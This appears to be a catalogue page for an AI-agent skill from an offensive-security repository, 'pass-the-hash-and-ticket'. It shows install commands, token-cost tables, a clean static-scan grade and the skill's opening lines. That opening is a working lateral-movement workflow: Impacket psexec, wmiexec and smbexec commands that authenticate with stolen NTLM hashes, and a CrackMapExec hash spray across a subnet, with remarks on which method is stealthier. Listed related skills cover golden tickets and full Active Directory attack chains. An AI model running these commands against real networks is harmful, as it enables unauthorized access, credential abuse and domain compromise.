Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/pass-the-hash-and-ticketWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/pass-the-hash-and-ticket)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/pass-the-hash-and-ticket"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/pass-the-hash-and-ticket/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/pass-the-hash-and-ticket"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/pass-the-hash-and-ticket.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00065 | $0.02026 |
| Opus 5 | $0.00032 | $0.01013 |
| Sonnet 5 | $0.00013 | $0.00405 |
| Haiku 4.5 | $0.00006 | $0.00203 |
Grade A, and why
pass-the-hash-and-ticket scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 178 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Pass the Hash (PtH) and Pass the Ticket (PtT)
When to Use
- After successfully dumping credentials (SAM, LSASS) on a breached Windows workstation.
- When attempting to move laterally to a Domain Controller or high-value server without plaintext credentials.
- During Red Team engagements utilizing compromised NTLM hashes or Kerberos TGT/TGS tickets.
- When building automated lateral movement chains in tools like Cobalt Strike or Empire.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Pass the Hash (PtH) Overview
# Concept: Windows NTLM authentication doesn't transmit plaintext passwords over the network.
# It uses the NT Hash. If we possess the NT Hash, we can authenticate directly to services
# (SMB, WMI, WinRM) as that user without ever needing the cleartext password.
# Required: The victim's NT Hash (e.g., from Mimikatz sekurlsa::logonpasswords or secretsdump.py)
# Format: LM_HASH:NT_HASH (often LM hash is blank/generic e.g., aad3b435b51404eeaad3b435b51404ee)
# NT Hash Example: 8846f7eaee8fb117ad06bdd830b7586c
Phase 2: Pass the Hash Execution (Linux/Impacket)
# From an attacker Linux machine routing into the network, Impacket is the tool of choice.
HASH="aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c"
TARGET="10.10.10.20"
USER="Administrator"
# 1. Psexec.py (Requires SMB access, writes a service payload - Loud but effective)
impacket-psexec -hashes $HASH $USER@$TARGET
# 2. Wmiexec.py (Utilizes WMI, much stealthier, no service bin dropped)
impacket-wmiexec -hashes $HASH $USER@$TARGET
# 3. Smbexec.py (Uses native SMB, creates ephemeral services)
impacket-smbexec -hashes $HASH $USER@$TARGET
# 4. CrackMapExec (Spray the hash across a subnet to see where this user has Admin rights)
crackmapexec smb 10.10.10.0/24 -u $USER -H $HASH --local-auth
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 178 lines · 65 tokens per session scan A 754f63fa95b0
pass-the-hash-and-ticket is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (5 stars, last pushed 4mo ago), licensed Apache-2.0. It adds 65 tokens to every session and 2,026 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
active-directory-golden-ticket
Forge highly privileged Kerberos Ticket Granting Tickets (TGTs) to gain persistent, undetectable, and long-term administrative access across an entire Active Directory domain. Use this skill during the final stages of a Red Team operation after Domain Admin access has been achieved, simulating an Advanced Persistent…
conducting-pass-the-ticket-attack
Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets fro.
active-directory-full-attack-chain
Execute a complete Active Directory penetration test from initial enumeration to domain dominance. Use this skill for AD security assessments including LDAP enumeration, Kerberos attacks (Kerberoasting, AS-REP roasting), BloodHound attack path analysis, credential dumping with Mimikatz, lateral movement via…
ad-pass-the-hash
Exploit Active Directory environments using Pass-the-Hash (PtH). This skill details how to authenticate to remote systems using the NTLM hash of a user's password instead of the plaintext password, enabling lateral movement and privilege escalation without cracking hashes.
conducting-pass-the-ticket-attack
Perform Pass-the-Ticket (PtT) lateral movement by extracting Kerberos TGT/TGS tickets from LSASS memory on a compromised host and injecting them into another session to impersonate the ticket owner without knowing their password. Use during authorized post-exploitation to move laterally or escalate access via stolen…
conducting-pass-the-ticket-attack
Pass-the-Ticket (PtT) is a lateral movement technique that uses stolen Kerberos tickets (TGT or TGS) to authenticate to services without knowing the user's password. By extracting Kerberos tickets fro.